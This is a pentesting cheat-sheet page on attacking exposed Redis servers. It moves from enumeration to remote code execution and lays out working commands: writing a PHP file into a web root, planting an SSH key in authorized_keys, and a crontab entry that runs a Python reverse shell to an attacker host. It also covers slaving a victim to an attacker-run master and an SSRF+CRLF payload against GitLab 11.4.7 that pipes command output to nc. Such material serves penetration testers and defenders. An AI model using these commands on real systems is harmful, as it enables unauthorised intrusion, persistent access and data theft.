8.3 KiB
6379 - Pentesting Redis
Basic Information
Redis is an open source BSD licensed
, in-memory data structure store, used as a database, cache and message broker from [here](https://redis.io/topics/introduction)
.
Default port: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Enumeration
Automatic
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Manual
Redis is a text based protocol, you can just send the command and the returned values will be readable
nc -vn 10.10.10.10 6379
info
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
****Here you can see that Redis uses the command EVAL to execute Lua code sadboxed. In the linked post you can see how to abuse it using the dotfile function, but apparently this isn't no longer possible. Anyway, if you can bypass the Lua sandbox you could execute arbitrary commas on the system. Also, from the same post you can see some options to cause DoS.
****Brute force****
Authenticated enumeration
Several times redis will be configured to be accessible anonymously. In this case you won't need to use any username and password. Talk to redis service and execute the info
command, it will let you know a lot of information about the server: SO running, Clients, memory...
Another interesting command to run is config get *
this will let you know several strings related to the service and one of them could be the home of the redis user _/var/lib/redis,_ another possible path could be _/home/redis/.ssh_
, and knowing this you know where you can write the authenticated_users
file.
You can also use keys *
to list the keys and the get <key>
to get them.
sudo apt-get install redis-tools
redis-cli -h 192.168.0.24
192.168.0.24:6379> info
192.168.0.24:6379> CONFIG GET *
192.168.0.24:6379> keys *
192.168.0.24:6379> get 351115ba5f690fb9b1bdc1b41e673a94 #This is a key list on the last command
Other redis commands can be found here and here.
Dump the database with redis-dump****
Automated Exploitation
To exploit a bad configured Redis you should try: https://github.com/Avinash-acid/Redis-Server-Exploit
Redis RCE
Webshell
From: http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html
You must know the path of the Web site folder:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.
SSH
-
Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsa
-
Write the public key to a file :
(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
-
Import the file into redis :
cat foo.txt | redis-cli -h 10.85.0.52 -x set crackit
-
Save the public key to the authorized_keys file on redis server:
root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /home/test/.ssh/ OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK
-
Finally, you can ssh to the redis server with private key : ssh -i id_rsa test@10.85.0.52
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
The last exampleis for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
This method can also be used to earn bitcoin :yam
Master-Slave Module
The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF talking to Redis
If you can send clear text request to Redis, you can communicate with it as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Therefore, if you find a SSRF vuln in a website and you can control some headers maybe with a CRLF vuln
or POST parameters, you will be able to send arbitrary commands to Redis.
Example: Gitlab SSRF + CRLF to Shell
In Gitlab11.4.7 were discovered a SSRF vulnerability and a CRLF. The SSRF vulnerability was in the import project from URL functionality when creating a new project and allowed to access arbitrary IPs in the form [0:0:0:0:0:ffff:127.0.0.1] this will access 127.0.0.1
, and the CRLF vuln was exploited just adding %0D%0A characters to the URL.
Therefore, it was possible to abuse these vulnerabilities to talk to the Redis instance that manages queues from gitlab and abuse those queues to obtain code execution. The Redis queue abuse payload is:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
And the URL encode request abusing SSRF and CRLF to execute a whoami
and send back the output via nc
is:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
For some reason as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from
the exploitation worked with the git
scheme and not with the http
scheme.